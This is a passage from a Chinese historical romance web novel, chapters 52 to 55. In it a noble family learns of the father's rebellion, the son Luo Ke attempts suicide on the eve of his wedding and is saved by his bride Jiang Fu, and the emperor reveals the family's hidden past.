“但是这不对啊,我已经喜欢他了,就应该只喜欢他一个,我需要和其他的男人保持距离。这不是我为谁守贞,我根本不想理会那种东西。这是我对自己的要求,这是我的爱情,我要对我的爱情真诚。” 张闵面无表情,显然没听懂她在说什么。 蒋芙第一次理解什么叫对牛弹琴。不对,她应该早就理解了。她这么多年跟他委婉表达心意,他不都是这副游离的样子吗?是她太过羞涩,从不敢好好回忆他那时的面容,只当他在拒绝。 于是她简而言之:“你走吧,在明白我的话之前不要回来,我不想见你。但你不要难过,你要知道,你是我在这个世界上最重要的人,你视我如命,我亦是。我不想你是我或你师父的刀剑,我想你做你自己,坦坦荡荡,明明白白过一辈子。”- 骆沁被不认识的娘子喂了几口酒尝,头晕着和公主说想去外面透气。 公主便让侍女给她引路,到人少的地方,不要被宫中的男客遇见。 她已经有一种外露的美了。 洛郡公的一双儿女都是花一样的好姿色,哥哥若兰清冽,妹妹便如桃花般温软喜人,不论男女,见到总要为他们失神片刻。 这样的花,是要守住的。 沈听南不放心,提裙欲跟,被魏如因叫住。 “有人想见她。” 骆沁也知道有人想见她。 她起初很抗拒,都那么对她了,现在她不理他,他反而想她了吗? 后来她一直留意入口的方向,想他会怎么出现在面前,要和在场的淑女说什么话。 但他一直没来,她就认为自己想错了。 他那般的人物,怎么可能会记得她呢。宫里不是有十八个美人吗?哥哥没要,全是他的。 她喜欢错了人,自己吃苦,无法埋怨。 她仰头看月亮,想今夜若见不到他,就彻底死心,再也不要想他。她去嫁人好了,嫁给一个比他好看还更武艺高强的人。 那个人一样救得了她。 她迷迷糊糊的想,怎么偏偏是他救她。 “……这是截获的书信,陛下请过目。” 好熟悉的声音。 是白明旭。 他怎么会在这里?他还没走吗?他不是洛城的将军…… “看来有人想叫洛城换回洛阳了。” 这是……那个人的声音。 骆沁心一沉,转身就走。 “骆氏兄妹,陛下打算如何作用?” “闲置的一步棋罢了,不值一提。” 白明旭道:“不将扣押他们的风声传过去,催他快些出手吗?” 魏琪戏谑瞧他,将书信按还:“你和他们一起长大,就半点恻隐之心也无?” “各奔明主。若有那一日,他们杀我,我亦无悔。” “你和你爹不是一种人……” 骆沁没有往下听。 她觉得自己一定喝醉了,不然为什么这两个人让她那么陌生? 他们怎么聚在一起说这种事?明哥哥不是那样的人。 她捂住嘴。 头晕到站不稳,思绪却越发清明。 是啊,他怎么就那么巧救了她。 她曾以为的闲聊,竟然有那么多时刻是在套话。她无视了他试探的神情,她以为他是喜欢了她。 爹爹呢?他又要做什么? 洛城不是不许叫“洛阳”了吗? “谁在那里?” 白明旭飞蹿过来,一把掀开亭子的围帘,看到的是满眼泪花的骆沁。 他怔了一下,思考要拿她怎么办。 骆沁越过他,跨过亭子的围栏,跑到魏琪的怀里捏他衣襟。 魏琪不为所动,低头睨她。 既然都听见了,还有什么话好说? 他有那么一点慌,但是这怎么能表现出来?太丢脸了。 “你故意让我留在宫里,怎么还晾着我?” 骆沁仰头,让他发现她愈发出挑的美丽。 “你不想念沁儿吗?” 第52章 第 52 章 抽丝剥茧。 魏琪被她问得身子一僵, 不甚明显地瞥了白明旭一眼。 因为太不明显,白明旭没注意到。 他叫了两声“沁儿”,骆沁都不理,只扒在魏琪身上看着他一人, 像是什么都听不见。走近闻到酒气, 白明旭皱眉:“谁喂她喝酒了?沁儿以前从不喝酒的!” 魏琪道:“你先退下。” 白明旭短暂思索便利落离开。 连性命都可以不顾, 此刻又要在上司面前发扬什么君子之风, 他又不是骆岢。 等人走了, 魏琪低头,拨弄骆沁的刘海。 “真醉了?” 骆沁眼泪不停流, 她不想说话,怕自己张嘴就是质问他听到的那些东西。 如果他像她以为的喜欢她,那她说不定可以用自己换家人的性命。 不然她还能做什么? “看不清……东西……” 魏琪便抹她的眼泪,他恶趣味蘸着她的泪在她脸上描画,不知在画什么。 “你这样对我,是真的想嫁我,不是想‘谈恋爱’了?” 骆沁厌恶躲开他的手,用他的衣襟蹭脸。 “听不见……好晕……” 魏琪哼了声,胡乱揉了几把她头发, 将发髻揉乱。 “我头次见你的时候, 你还在被子里包着, 你以为你这点小把戏躲得过我的眼睛?” 他语气正经几分,有意疏离:“放心, 你和你哥我都不会杀。不是爱你,是你哥名声太大了,杀了易惹口舌。我不差那一人的饭,闲养着逗乐也好。他亦识趣, 没按你父亲的路走,自请娶平民为妻,我已经给他们赐婚了。多好的事?无双公子深情不渝,落在史书上又是一桩佳话。” 骆沁听着他的话,只觉双手如坠冰窟,她依偎着的天子看上去通达人情,大气爽快,但他与过去的君主并没什么不同。 她何曾没有怪过哥哥与他相处过于生分,小时候不是经常一起玩? 如今想来,哥哥是对的。 他可以待人随意,但若以为真能与他称兄道弟,那便错了,大错特错!是大逆不道,说不定什么时候就被他用事发作,以不痛不痒的手段逼人走投无路,像崔裴两氏族的下场。 骆沁仰头,眸中只剩恳求:“陛下。” “我怎么做,你能放过我家?我爹他很老了,身体也不好,我哥哥只会玩弄笔墨,不涉官场,你……放过我家吧……” 魏琪眼神一变:“你是这样想我的?” 骆沁定定看他,恳求神色不变,似乎已做好与家族同赴死的决心。 “呵!” 魏琪动了怒:“既然已经将人看分明了,等着发落就是!你最好现在就给你爹写信,你们将我从天位上推下去自己坐啊!” 骆沁跪伏在地。 魏琪气了一会儿,又心疼她跪寒凉的石板。随后又气了起来,他什么时候让她跪了呢,她偏偏要跪他!已经听见了那些东西,不是应该好声好气求他放过那狼子野心的洛郡公的命? 这丫头真是好有骨气啊! 叉腰气了会儿,他俯身将人抱起腾空,不理会她的恐惧,将她一路抱回魏如因那头。 他吩咐妹妹:“看好沁儿,不许她再乱跑!” 目送他阴沉着脸离开,殿内还剩下的女客都暗自打量被他抱回来的骆沁。 洛郡公的女儿,无双公子的妹妹,天底下仅次于公主尊贵的女人。 还有一年多及笄的样子,已有人家问过嫁娶,郡公那边没有回信,应该是没有看中的。 如今天子亲自将她抱送回来,众人便懂了。 ——这是以后要做皇后的人- 骆沁自那日从宫里回来便郁郁寡欢,蒋芙拉着骆岢去给她道歉,她也摇头说没关系。 “我不是因为这个,我是……” 说到这,她红了眼眶,又不肯往下说,往房间里躲。 她用鹰写了很多信给爹爹,都没有收到回信。 她便在脑海里想到白明旭的影子,他自小在他们身边长大,比她和哥哥更了解鹰的习性,鹰的信也许送不到爹爹那里。 她想写信骂人,不太会骂,便去请教蒋芙。 蒋芙挽袖子:“骂人无耻是吧?我帮你,能把我们沁儿气成这样,一定是天下第一王八蛋!” 她提笔成句,比哥哥写文章还要流畅,正逢新年,写成对子形式。 上联:卑鄙无耻不要脸 下联:肮脏龌龊下流贱 横批:去死 骆沁鼓掌:“芙姐,你好厉害!” 看到她的笑脸,蒋芙难得觉得自己没素质是好事。 “我还能再骂几句?沁儿要不要?” “要!” 另一边,白明旭再度截获鹰的信件,喂着吃了块肉,照例将信呈到天子面前。 这回,连日阴云不散的天子彻底怒了,而且是又怒又笑的那种。 属下心惊胆战,担心他疯了。 魏琪将信扔给白明旭:“小白!过来!你看看!她写的什么东西!” 白明旭将字拿到眼前,嘴角一抽,没忍住大笑出声。 这哪里是沁儿能说出的话,应该是蒋芙的手笔才对。 蒋娘子可真敢说啊! 他笑完,给天子支招:“照例给郡公那边寄去如何?大过年的,就让他把女儿孝敬的话贴门上罢!” 于是天子便也笑。 骆岢从外面找人相看日子,筹备两人的婚期。 张闵走了,蒋芙每天和骆沁待在一起,亲眼见着她的话越来越少,人越来越瘦,白天常常发呆,晚上又连夜不睡。 “沁儿,你是不是有什么心事?” 骆沁勉强笑:“没有呀。” 她想了想,问:“芙姐,你能不能不嫁我哥哥?” 蒋芙有点惊讶:“你不想我做你嫂子啦?” 骆沁忙拉她手:“我当然想,我就是……就是怕你以后过得不好,万一……连累你……” 蒋芙郑重道:“你是知道什么了?” “我……” 蒋芙原本不想说的,但如果连骆沁都知道了这些,那何必自欺欺人,应该趁现在早做打算才是。 “从洛城到长安这边时,我就看出你家不对劲了。你爹没有官职,却能养兵养鹰,那么好用的情报机构,你问问天子有没有?” 骆沁震撼不语。她没想过这些,一向是有用便用的。 “如果有什么苗头,你一定要告诉我,我不会抛弃你们独善其身,但我们可以一起想办法,两个人的智慧总比一个人强,俗话还说三个臭皮匠顶个诸葛先生呢。” 骆沁笑了笑,沉吟片刻,将那晚宫中发生的事说出来。 蒋芙气得屡翻白眼:“好臭的脸皮!沁儿,你怎么不骂他呀!他先说那些不做人的话,你害怕了求他,他还敢闹脾气说你把他想坏了?” “虽然我觉得你爹确实有点那什么……但那跟你有什么关系?你求了他,不就给个答案吗?装腔作势的干什么?” 骆沁是真的害怕了:“芙姐,我原以为是他与白明旭想逼我爹谋反,没想到是我爹先……怎么办?这些天我给我爹的信会不会没有被截进宫?是不是已经送到了我爹手上,但他不想回复我……” 蒋芙将她的手包在手掌里:“怕什么?怕也是你爹来怕,你做什么亏心事了?” 她道:“我最近想这些,已经有些眉目了。之前我被洛县抓去审,被你们救出来以后,我替白明旭进金府查过一阵子东西。” “什么?”骆沁瞪大了眼。 “和你哥一起,有很多人暗地里保护我们。” “还有我哥哥?” “对。你哥哥当时扮女装,可美了,比沈听南还美。” 骆沁露出复杂的神情:“我哥哥……” 蒋芙道:“先别告诉他这事,告诉他也没用,他能做什么?让他玩去吧。” 她冷笑:“我到现在还生气,年夜饭那天你们进宫,他怎么就抛下你回来了,是脑子里只能装男女私情那点事?没用的东西。” 骆沁被她逗笑,更多的是感受到她的在意。她抱住蒋芙,“芙姐……” 蒋芙搂住她,继续说:“那个案子很奇怪,金无尽用尸体放信号,不知放给谁看。他家的事那么出名,不用仔细打听就知道他死的是哪个院的姨夫人,这样幕后的人就可以不动声色了解到他传递的情报,明面上也就不用联系。” “你是说我爹……” “我怀疑金无尽是你爹的人。不然他想要搞我,按你爹那种贵族的派头,小小的县衙怎么可能从你家把人轻易抓走?是他不管罢了。” “不过也只是怀疑,说不定你爹没有这么大能耐。但你们家的鹰场确实洗白不了,而且怎么遍地都有据点,有点过分了。你是皇帝,你能忍吗?” “从我到长安,天子将你哥扣住,我就知道他要行动了。不过没想过到先倒霉的是崔裴两家,那人真是好手段,手下有一群为他办事的好狗。” 骆沁听她说这些,渐渐头绪理清:“我之前听过一次,我爹问过哥哥愿不愿娶崔氏女,哥哥拒绝了,他便没再提过……” 蒋芙想到嚣张愚蠢的崔茄娘,也不知她现在还活着不。 怪不得她对骆岢那么情根深种,原来是曾经有机会得到,却没有抓住机会。崔氏当时若态度强硬些,也许就成了? 不知那样的话,骆岢如今会变成什么样子。 摊上一个拖后腿的爹可真倒霉。 是崔茄娘想造反吗?是骆沁想造反吗? 她们只是倒霉地投胎到赌徒的家里,用性命陪他们下注的最悲惨的人。 赌赢了,她们照样要成为财权的牺牲品,像物品一样送给谁表达忠心。 赌输了,什么都没做也要陪着一起死。若是有机会逃,也不一定带着她们,而是带着那些同样愚蠢的带根的东西,妄图繁衍那无用的后代,由她们自生自灭。 她安抚道:“一切都还是我们的猜测,不一定就是这么回事。” “再怎么样,芙姐在呢。” 第53章 第 53 章 谋反之局。 蒋芙说了一百遍, 没见过人正月成亲。 提起这事,骆岢总是一笑而过,拉她尾指转移话题,眨眼的功夫又去忙别的事, 跟什么都没听到一样。 但她也只是埋怨而已, 都答应人家嫁了, 婚契也签了字, 亲事早一天晚一天算什么呢。反正什么都不用她做, 只要挑选好喜欢的首饰衣裳,等着成亲那天走流程就行。 这些日子有不少妇人来拜会蒋芙。 在长安似乎还没有人意识到骆氏的处境, 以为他们依然是天子宠臣。骆岢又是名扬天下的美男子,许多人都想与之结交,苦于无处投机,眼下这门亲事算是送到眼前的桥梁。 家里的客人像是无底洞,这个还没走,下一位就来了,还都是有礼的笑脸人,跟哪个都得拿出精力交流。蒋芙数不清自己讲了多少遍和骆岢认识的过程,曾经的笑料在当今, 竟也能当作美谈就着茶一起喝。 蒋芙承受着这些本一辈子都见不到一面的女人的艳羡, 并不多得意, 反而觉得很累。 现在给她的感觉就是她的价值是依附于骆岢而生的。如果有天她和骆岢分开,这些人一定又要可怜她起来。 星星和几个侍女出府买了许多新茶叶, 正在一旁热热闹闹地装罐。 蒋芙靠在椅背上百无聊赖,她现在听不得脚步声,总怀疑什么人又来家里找她说那些陈芝麻烂谷子的话。 小赵道:“娘子,沈娘子来了, 眼下在西厅。” 蒋芙听到是沈听南来了,稍微打起精神。 总归能说些新 鲜话。自上次将心结说开以后,除了沈听南为骆岢写的那封信,她们再没有过交集。她还以为从此就算了,各走各路。没想到她还能来找她说话。 蒋芙转了转脖子,松缓酸痛的肩颈,往西厅走。 小赵在身后小跑两步:“娘子,披帛落下了。” “无妨,我和沈听南熟,不用那么守礼。” 到西厅时,沈听南正握着茶杯细品,听到她来的动静,笑盈盈回头。 “芙芙?好些日子不见,你瘦很多,好像长高了些。” 蒋芙警惕瞥了她一眼,与这人斗了太久,已经习惯对方说一句就要在心里怀疑是不是在暗讽自己的程度了。 “是吗?我看不出。” 沈听南反客为主给她倒茶,慢悠悠道:“这茶汤金黄,瞧着是新岩茶。不愧是公子的府邸,解渴的茶水也能用这般名贵的茶叶。我只在宫中时喝过。” “……” 蒋芙沉默,原来从茶叶上也能看出端倪?她不懂这个,这都是骆岢习惯的茶类。 她从沈听南手里接了茶,仰头喝尽,并没尝出什么与众不同的味道,就是很单纯的茶味。可能她没长一只好舌头,品不出来好东西。 “我听说你们后日便要成亲了。”沈听南眸色潋滟,无情也有情似的睨她,“当真就要嫁了吗?他没有张闵适合你,真要遇见什么事,他不一定能保住你。” 蒋芙已然听出沈听南所指。她从哪看出门道的?魏如因?文王? 沈听南显然不理解,为什么火坑在明面上摆着,蒋芙也愿意往里跳。 是爱? 真就爱到愿意为他死的地步?那她还真是嫉妒。 蒋芙也说了爱自己,却没有爱成这副样子。凭什么?就凭骆岢是男人,可为配偶? “谁说我一定要靠他保住?因为我是女子,就要在危机时候束手就擒,等着英雄从天而降吗?我有手有脚,自己也能救自己。而且他是我的人,我不会眼睁睁看着他死的。” 蒋芙将杯子放到案上,与她对视:“总之,谢谢你的好意。我的事我自有打算,就不用你费心了。” 沈听南摔杯离开。 蒋芙理解不上来她生哪门子气,估计还是气她没有顺她的意吧。 在沈听南心里,蒋芙就要永远对她感恩戴德,做跟在她身后的有求于她的人。 蒋芙讥讽地想,如果自己真的空出时间演那么一出,也不知沈听南得愉快成什么样子。 来日方长。 当夜,蒋芙的婚服做好了,小赵帮她一起穿。 这时候的礼服和电视剧里的不太一样,女子的礼服是青绿色的齐胸襦裙,外披大衫曳地。头上的首饰则是宝树钗,中有宝相花饰、团花纹饰。 这般打扮在蒋芙身上,平常再随意的人也显得贵重端庄几分。 小赵见蒋芙盯着镜子里的自己瞅出了神,玩笑道:“若是公子见了,还不知被娘子怎样迷倒呢。” 蒋芙看着镜子,铜镜在烛光下越发金光闪闪,像有漩涡将她整个人卷进其中。 她忽然感觉心口疼,上次这样莫名其妙不舒服,还是在她娘死的那天。 骆岢这几日不见她。说为以后朝朝暮暮都能相见,一定要忍过这些天。 穷讲究。如果真的这么迷信,何必在正月成亲?谁怂恿的? 蒋芙不知不觉将帽子扣在了天子头上。 他们成亲,总要拜堂。 ……洛郡公也许会来长安。 蒋芙脸色惨白,捂着胸口往外走,没有管身上还穿着新娘礼服的事。 她想见见骆岢。 后日成亲,和今天相见不冲突。她得看着他好好的才安心,母亲的事不能再发生第二次。 路过的侍女见她神情严肃都没敢搭话。 蒋芙拖着婚服走在月下的长廊,一步步走进骆岢的院子。 她出了自己的院子就看出事情不对,往日尽忠职守的侍卫们消失不见,骆岢的院落空荡荡,他又不喜欢放侍女进来工作,如今竟然一个人也没有。 蒋芙加快脚步跑了起来,推开房门,见到房中挂着的人。 她眼泪唰地下来。 “骆岢!” 她将被踢翻的凳子扶起,垫在他脚下让他站直。 就占了长得高的便宜,这样竟真的将脖子从绳索上分开。 蒋芙扯着嗓子从外面喊人:“救命!快来人救命!请大夫!” 小赵原本见蒋芙神色不对忧心,一直在不远处跟着。听到她的喊声,跑进房里看了一眼,同样的双腿发软。 公子怎么就自缢了? 不是白天还精力充沛准备着后日的大婚吗? 她硬撑着双腿往医舍的方向跑,将情况说给大夫听,带着医箱往回赶。半路上碰见抬金银回来的侍卫们,小赵让医师先去救命,质问他们情况。 是公子让他们去钱庄换钱回来,给大家发赏钱。 小赵听了便哭,公子若有死志,这钱便是给他们的遣散费。 怎么就这样了呢。 不是后日就得偿所愿,与蒋娘子成婚了? 另一边,因为蒋芙发现及时,骆岢还没死透,大夫按了按他的颈部和身体,让蒋芙扒开他的嘴往里面吹气。 她哭着往里面吹,没吹几下,人干咳着醒了。 大夫立刻去熬将养身体的药,把空间留给他们。其余的侍卫、侍女就算有再大的疑问,也不敢在这时候表现出来,纷纷垂首退出去。 人都走了干净,蒋芙用手给他顺气。 她被吓到了,心中对他这行为有气,但又舍不得对他生。 差点他就死了。 “你怎么想的?到底为什么要寻死?你不想娶我就直说,怎么就到了豁出命的地步了?” 骆岢伸手给她擦泪,声音若游丝:“怎么会,是我求你嫁我。” “我父亲……伙同崔氏、裴氏残党谋反,今晨自立为王。我无颜面世,亦不能面。事到如今,许多事都想得清楚,陛下留我在这,本意牵制,这场婚事也是想将父亲引来。然父亲心意已决,我为长子,若不死,沁儿哪有活路?我若不在今日死,明日芙芙又要在哪里活命?” 蒋芙抱他流泪:“怎么都能活,你可以进宫跪天子表忠心,与你父亲割席!就算难看了点,也不至于就要死,明明就有活路,你非要你这张脸!脸面有什么用?” “别哭,我知错了。” “这是最后一次,你要再有下回,咱们就永生永世不能在一起了!” 蒋芙说完就觉得可笑,已经想死的人,心中哪还有这种柔情。 但骆岢就是更难过几分:“怎么就对我这般无情?来生都不给吗?” 蒋芙于是哭得更厉害。 该拿他怎么办好。 “我只要今生今世,你要惹我生气,以后就都不作数了!” “……” 他哪里就想死了,只是想让她能好好活。 他无情一点,成婚前夜自缢而亡,世人都会怜悯芙芙。不至于将她也牵连进父亲做的混帐事里。 可是她哭得好难过,他原本已经心死,不会再难过的。毕竟从小景仰的父亲,如今成为了人人喊打的反贼,世上哪还有什么君子。 但他爱她。 他舍不下她。 她今日来救他,是穿了婚服的,原本以为无缘见到。 “我明日……便去宫中下跪。芙芙不要哭了,我不死的……” 蒋芙将头埋在他颈间哭,两手抓他一只手,抓得紧紧的。 “好……明日我也陪你一起跪。不就是跪吗?让我边走边磕头都行,只要你活着。” 房门被骆沁推开,又是一个满脸写着死志的人。 “哥……” 蒋芙从床边站起来,飞速整理面容,给这对兄妹谈话的空间。有些事需要他们自己想通,只有至亲能聊的事,就算她和这两个人关联再深,都不应掺和进去。 只要都平安活着就好。 第54章 第 54 章 新婚礼成。 如此折腾了大半夜, 还没安稳好骆岢的身体,宫中便来了 人。 魏琪亲临,穿着带毛领的夹袄穿过庭院,走往骆岢的房间。他进去以后, 门外金吾卫便森严把守。 在自家院子, 蒋芙没管那么多规矩, 硬着头皮从守卫之间挤进去, 跑过纱帐跪下, 给天子请安。 骆岢正穿着寝衣跪在地上,听到声音, 悲戚地抬起一眼,又匆忙避开。 魏琪朝只看得见发顶的蒋芙扯了扯嘴角,转回骆岢身上,冰冷骂道:“愚蠢!” 骆岢将身子伏地,满头散落的发丝同时垂下,乌黑柔顺的一片。 “蠢不可及!你爹那点事,我早就知道了!我说处置你了吗?说处置你女人了吗?说死就死,你死了,你妹妹就能活?沁儿就算想活, 也要被你逼死了!” 魏琪气得不轻, 但他又不能对骆岢发作。如何发作, 再打他多少大板,直接把人给打死吗? 说也说不得, 他才骂了几句,这人就已经摇摇欲坠。他女人的眼睛像要着火,瞪着他的鞋尖,以为他发觉不见吗! “太可恶了!” 魏琪愤恨喊出声, 又重复一遍,“可恶啊!” 他指着蒋芙,不耐道:“把你家公子扶回床上去!” 蒋芙从地上撑起来,去扶骆岢,又听天子讥讽说:“如今还怎么称公子,怕是明日就成了王子了!” 这话说得危险,她一个踉跄,差点摔回去。 到底想怎么样? 他这什么态度? 想杀还是想留?能不能当真? 骆岢虚弱望他,又忧心看向蒋芙,回避她伸过来的手。 当着魏琪的面,他不想表现得和蒋芙多么情深义重,害怕会给她惹来祸事。他是遭祸之人,应与她撇清关系才好。 蒋芙分辨出他的意思,握向他的手便更坚定了。 她虽然怕死,但若是为了爱情,没什么不可以!谁让她就是爱着他呢。她不需要换位思考,不需要考虑如果处境对换,骆岢会不会做出同样的举动。那都没必要。 她愿意和他一起死,是她主动的选择,是为了让自己开心的选择。 况且,不是有别的路吗?她还没去求张闵救命。 魏琪在这装模作样,又没说定罪的事。他都没说,骆岢自己瞎惦记什么? 她硬搀着将骆岢扶回了床上躺着,挪动的过程看到他脖颈上触目惊心的勒痕,双眼被刺痛,避开时眼眶发热。 没用的东西,气人的东西。 像花瓶一样,只会用兰花装点自己,效仿世人爱戴的君子。一遇见其他事,半点脑子也不动。 他可不能死,她不想让他死。 真的不想让他死。 她猛地抬头望向魏琪,恰巧天子也在打量她,打量骆岢钟爱的女子。 相貌清秀平庸,神情刁蛮,举止强势,他想,骆岢大约是看上她的品行。他那种沽名钓誉的蠢君子,最喜欢被人管束,不像他,喜欢可爱天真的小娘子。 冷不丁遭她狠辣的眼神,魏琪挑眉:“有事?” 蒋芙道:“洛郡公谋逆,子女远在长安,不知其谋划。陛下可能容许他们将功赎罪?” 魏琪来了兴致,“怎么个将功赎罪法?他们有调兵的符?” 蒋芙低头看骆岢,后者沉默摇头。 于是她道:“我去把洛郡公杀了!陛下,这可算立功?” 魏琪一愣,看出她是认真的,笑道:“你杀?凭你?我瞧你不仅没有习武,还是懒散之人,你怎么杀?没人通报,你见得到骆呈夜?” 蒋芙道:“我可以让能杀他的人去杀!” 魏琪道:“那还是你的功吗?” 蒋芙沉默下去。 魏琪想,他是一辈子都不会懂被一个小姑娘出头保护的意思了。索性不再愚弄,让他们安心,更准确的是让沁儿安心。 “骆呈夜造反,我并不意外。他与李氏少年夫妻,伉俪情深,当年之事,是先帝对不住他,他想反了这江山。但他早干嘛了?夺人妻之事又不是我干的,怎么偏偏在我即位以后添麻烦?” 话出口,骆岢与蒋芙都愣愣看他。 夺人妻? 谁的妻?是骆岢的母亲? 魏琪笑出声:“你爹没告诉你?也是,她生下沁儿,还没出月子就被先帝带回宫了,这怎么告诉你?我在宫里,只和她关系不错,我没有母妃,她是宫里待我最好的人,为了让她满意,我经常出宫去洛城见你们,半个月的路程说走就走,回来告诉她你们长成什么样了。她亦感念我的好心,这不,皇位吹枕边风给我了。” 骆岢神情一片空白。 蒋芙心中尴尬,没想到一切的起源竟是如此,不知这种秘辛自己该不该听。 君夺臣妻,历史上其实不少。看骆岢与骆沁的模样,都能想象他们母亲会有多美。被皇帝看上确实不好办,不想死,就只能眼睁睁看着她被抢走。人若无法守护自己的美丽,那美丽就是一种灾难。 骆岢从冲击中回过神来:“她……还活着吗?” 魏琪道:“死了,殉葬。先帝怕他死后,她回到你父亲身边,于是下令让她殉葬。” 骆岢沉默。 魏琪登基五年,五年以前,他母亲还活着。 这下他再也没办法怨恨父亲的邪路。换做是芙芙被抢走,他也要恨的,可他不如父亲,他就算恨也只会折磨自己……至多作诗说人坏话。他之前写过几首骂张闵的诗,已经传出去了。 ……不是想这些的时候。 骆岢此时,虽悲痛,虽怨恨,更多的是茫然。 他为人臣,为人子,身处其道,要做什么? 魏琪道:“我来说这些,只是让你放心。不论外人如何说,我不会动你和沁儿。如果你想看她生活的地方,也随时进宫,我一直都想让你们进宫。” “……” 魏琪叹了口气:“就这样。我走了,在宫里听说你自缢,气死我了,觉都没睡好,马上上早朝了,你怎么赔?” 骆岢:“……” 蒋芙见他有走的趋势,便跟着要送。 魏琪道:“打住!你看你的郎君,不用送我。别什么时候不注意,又让他难受到撞墙,脖子没勒断还能活,脑袋撞破必死无疑。” 他走了几步,回头指着蒋芙:“还有你!别轻举妄动,骆呈夜还不能杀!他背后的人还没都露出来,先别杀!知道吗?” 蒋芙老实点头,站在原地把人望走,回头把呆愣愣坐在床上的骆岢抱在怀里。皇帝说的话也是她忧虑的事,他爹谋反就已经让他自缢一次,如今让他知道母亲死亡的真相,他又是什么样的心情? 蒋芙嘱咐道:“你想开点!千万别扔下我和沁儿不管了!” 骆岢被她抱回了神,低眉苦笑:“我已承诺,不会再寻死。” “我只是在想父母。” 他淡淡说出这一句,蒋芙就没话了,她不是个擅长安慰人的人。 骆岢仰头望向蒋芙:“我该如何选呢?芙芙。” “我该如何选……” 蒋芙给他一巴掌,轻轻的拍在他脸上,骂道:“想那些乱七八糟的,你以为你多重要吗?你选你爹,你能做什么?你投靠过去你爹还嫌弃你累赘,打天下来不及还得保护你,你爹在干大事呢。” “陛下说的事,或许算是诱因,但过去这么多年,你爹还是对权力产生了欲望,才会避开先帝,选择了统治薄弱的陛下当朝谋反,他真有那个骨气,何必等你娘死了才动手?把人活生生抢回来不好吗?他一定一边怕失败,一边害怕你娘真的爱上了先帝,害怕把你娘抢回来以后,他发现自己已经不再爱她。那样谋反就名不正言不顺了。” 骆岢依靠在她绵软的怀里,双眸空洞,有些流不出泪。 蒋芙拍他后背:“这样吧,我问你个最根本的。” 骆岢从她身上分开,潮湿的目光看她。 “你今天不是听到你爹谋反的消息了吗?谁跟你说的?” “白明旭。” “这个贱人。那他说没说你爹那边兵力如何?你判断一下,与陛下相比,谁胜算更大?” 骆岢微怔:“天地正道,百姓归心,自然是陛下……” 蒋芙道:“那我们就站陛下。反正你不是也分不清谁是对的吗?一般这个时候,活命就是对的。” 骆岢垂首:“那终究是我父亲。” 蒋芙道:“那是你父亲自己选的,人得为自己选的路负责,人不能强求别人和自己走一条路。” 他思虑出神,蒋芙拉他手:“你可不能死啊,我们还没成婚呢。” 骆岢喃喃:“我们成婚,似乎好难。总有很多事挡在前面,明明你好不容易爱上我的……万一之后不爱了怎么办……” 蒋芙站起身,手掌朝他伸去:“不难,难什么?” “站起来。” 骆岢照着她的话和她站到一起。 蒋芙牵着他手,面朝窗户。 “来,一拜天地。” 骆岢望着她,眼渐渐发酸,与她一同向窗子的方向拜去。 蒋芙问:“洛城在哪边?” 他控制着声音,不让自己哭出来:“东边。” 蒋芙:“……那就。” “二拜高堂。” 他们朝着洛城的方向深深拜去。 “夫妻对拜。” 骆岢转身,蒋芙已经换下了那身青绿礼服,穿着她平常的粉色夹袄,像块会冒香气的小糕点。 对拜。 “然后就洞房了。” 蒋芙牵着他的手,往床榻的方向带,面上是温柔的笑意。 “今天不太合适,你哪天身体恢复过来了,我们再做。” “现在礼成了,夫君。” 骆岢被她扶回床上,盖了被子。他没有让她起身,两手圈住她,将脸贴过去,尝试着叫:“夫人。” 蒋芙没有推他,也没有起身,就那么压在他身上。 “以后还死吗?舍得抛下我吗?” 回应她的,是沉闷的泪声。 第55章 第 55 章 适得其反。 解决了骆岢这边的问题, 蒋芙又去骆沁那边查看情况。 她有一瞬间觉得自己像心理辅导,要两边安抚这对兄妹的情绪。虽然是玩笑,但落实在心里,像真的有了那么回事, 也算是找准自己的定位。 已经天明, 她从侍女手里端过早餐, 敲骆沁房门, 将餐盘放在床边的小桌上。 骆沁没有睡, 抱着自己蜷缩在床帐里面,鼻子一吸一吸, 正难受。 蒋芙将帷帐勾起来,朝她张手:“来,沁儿,吃饭。” 骆沁红肿的眼又流下泪,冲过来抱住她:“芙姐!” 她哭了会儿,想到自己那个不争气的哥哥,坚强起来问:“哥哥如何了?还要寻死吗?” 蒋芙将她脸上哭湿的发丝捋到耳后:“他没事了,我们说好不管你爹,站陛下这边。” 骆沁嘴巴一扁, 泪流成河:“真不管我爹了?就让他找死吗?” 蒋芙想了想, 道:“不久前陛下来了, 把你哥骂了一顿。其实他对你爹没什么怨恨之心,不仅没有, 还很理解他。等你爹兵败的时候,我让你哥去求求陛下,也许能保住一条命呢。” “也许……也许……” 骆沁咀嚼这个词,每重复一次, 眼神就暗淡一分。 “‘也许’就是要死了。为什么不能好好活着?明明都那么富贵了,为什么非要谋反,我一点都不想要称王的爹爹!” 蒋芙摸她的头:“你爹也不是为了你们才称王的,他是为了自己的野心啊。即使他有那些苦衷,可其他人怎么就没有谋反的胆子?他就是这块料,你不用为他悲伤,这是他自己选的路。” “你爹虽然是你爹,但他也是一个人,有自己想做成的事业。你这个小女儿不拖累他就算尽孝了。他做这些,若身死想来也不会遗憾,活这么多年,总算是真做了一回。百年以后,陛下是明君,他甘心当这个反贼;若陛下是暴君,他就是史书上有远见卓识的人,列在名臣传记里。” 见骆沁的眼泪停住,蒋芙握住她寝衣下露出的小手,继续劝道:“妹妹,人活着是为了做快乐的事的,你爹找到他的快乐,你却非要为他自苦吗?你来人间不是为了受罪的,谁让你受罪,谁就是罪人。” 她道:“我曾经眼中有许多丑恶与不公,无法撼动,可那怎么办,我不活了吗?只有懦夫才会想着去死,对,我就是在说你哥,不过你先别跟他说,他这两天心情应该不会好到哪去。” “还要活,就得想开点,得对自己掌控不了的事放手。你一直想着念着,有什么用?你能改变什么?不如放手做点自己喜欢的事。人要想方设法让自己快乐,而不是受苦。不过那些宁愿受苦,也要勇敢面对丑恶、以身入局做出改变的人没有做错,相反,他们是这个世上最伟大的人了,而且他们在为自己的志向搏斗时肯定也是快乐的,因为那是他们的选择。” “总之,人活到最后,得让自己觉得值得。沁儿,你也一样,你活着是为了自己,不是为了你父亲,也不是为了你哥。” “你作为你自己,有为你父亲悲伤的权利。可是悲伤解决不了任何事,你要振作起来,为你的期望做出努力!” 蒋芙把自己说得热血沸腾,看看骆沁脸色,果然比方才好了不少。 她还想继续说什么,就见骆沁去拿碗吃饭,神情坚定。 “我知道要怎么做了,芙姐。你放心,你说的话我都记住了,我不会像哥哥一样做傻事,我觉得我比哥哥聪明!” 蒋芙有些愣住,半晌点头:“我也觉得。” 